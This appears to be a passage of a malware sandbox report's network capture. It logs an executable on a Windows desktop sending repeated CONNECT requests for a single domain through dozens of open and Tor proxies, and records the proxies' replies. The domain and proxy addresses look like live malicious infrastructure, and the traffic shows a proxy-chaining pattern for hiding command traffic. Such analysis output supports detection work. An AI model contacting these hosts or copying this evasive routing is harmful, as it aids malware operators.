Feb 23, 2024 09:45:21.334414005 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.830513954 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.893160105 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.741055965 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
484	192.168.2.4	51563	72.169.67.61	87	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.735969067 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
485	192.168.2.4	51603	23.227.38.230	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.736908913 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.823961973 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:20 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
486	192.168.2.4	51371	103.165.37.245	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.743988037 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
487	192.168.2.4	50661	39.107.33.254	8090	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.751684904 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.056277990 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.10.3 (Ubuntu) Date: Fri, 23 Feb 2024 08:45:20 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 30 2e 33 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.10.3 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
488	192.168.2.4	51588	174.64.199.82	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.752463102 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
489	192.168.2.4	51586	207.180.234.220	48963	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.779975891 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.365619898 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.975122929 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.178325891 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.365941048 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.475277901 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
490	192.168.2.4	51625	23.19.244.109	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.781023026 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
491	192.168.2.4	51419	52.172.1.186	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.781030893 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
492	192.168.2.4	51596	98.170.57.249	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.781264067 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
493	192.168.2.4	51452	121.128.194.154	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.782654047 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.064145088 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Fri, 23 Feb 2024 08:45:20 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
494	192.168.2.4	51594	113.30.149.76	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.794248104 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
495	192.168.2.4	51604	72.195.34.41	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.801521063 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
496	192.168.2.4	51593	80.67.8.6	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.804406881 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.002098083 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Fri, 23 Feb 2024 08:45:20 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
497	192.168.2.4	51466	103.197.71.7	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.805221081 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
498	192.168.2.4	51460	8.213.128.6	20002	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.811022043 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.115375996 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
499	192.168.2.4	51431	171.247.98.90	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.816942930 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
500	192.168.2.4	51669	172.67.181.85	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.820410013 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.908010006 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:20 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
501	192.168.2.4	51564	8.209.255.13	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.821527004 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.443761110 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.761635065 CET	38	IN	HTTP/1.1 200 OK content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
502	192.168.2.4	51615	51.15.196.107	16379	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.827619076 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.365631104 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.865962982 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.866152048 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.865825891 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.866275072 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.866195917 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.681570053 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:35.194319963 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
503	192.168.2.4	51428	182.253.112.186	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.827714920 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.587009907 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.643760920 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
504	192.168.2.4	51454	128.199.202.122	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.831787109 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.176453114 CET	28	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
505	192.168.2.4	50820	104.23.119.91	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.832407951 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.919958115 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:20 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
506	192.168.2.4	51598	195.66.156.196	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.832653999 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
507	192.168.2.4	50780	107.180.101.226	23031	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.840137959 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
508	192.168.2.4	51548	58.234.116.197	8193	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.846301079 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
509	192.168.2.4	51477	218.75.102.198	8000	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.850275993 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
510	192.168.2.4	51430	183.230.162.122	9091	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.850380898 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.680856943 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.056762934 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.1 Date: Fri, 23 Feb 2024 08:45:22 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
511	192.168.2.4	50938	142.54.235.9	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.852006912 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
512	192.168.2.4	51605	154.236.189.15	1976	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.856659889 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.443790913 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.211452961 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.537849903 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.169982910 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.835077047 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.647180080 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.929105043 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
513	192.168.2.4	51644	51.15.21.216	63425	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.858094931 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
514	192.168.2.4	51661	74.119.144.60	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
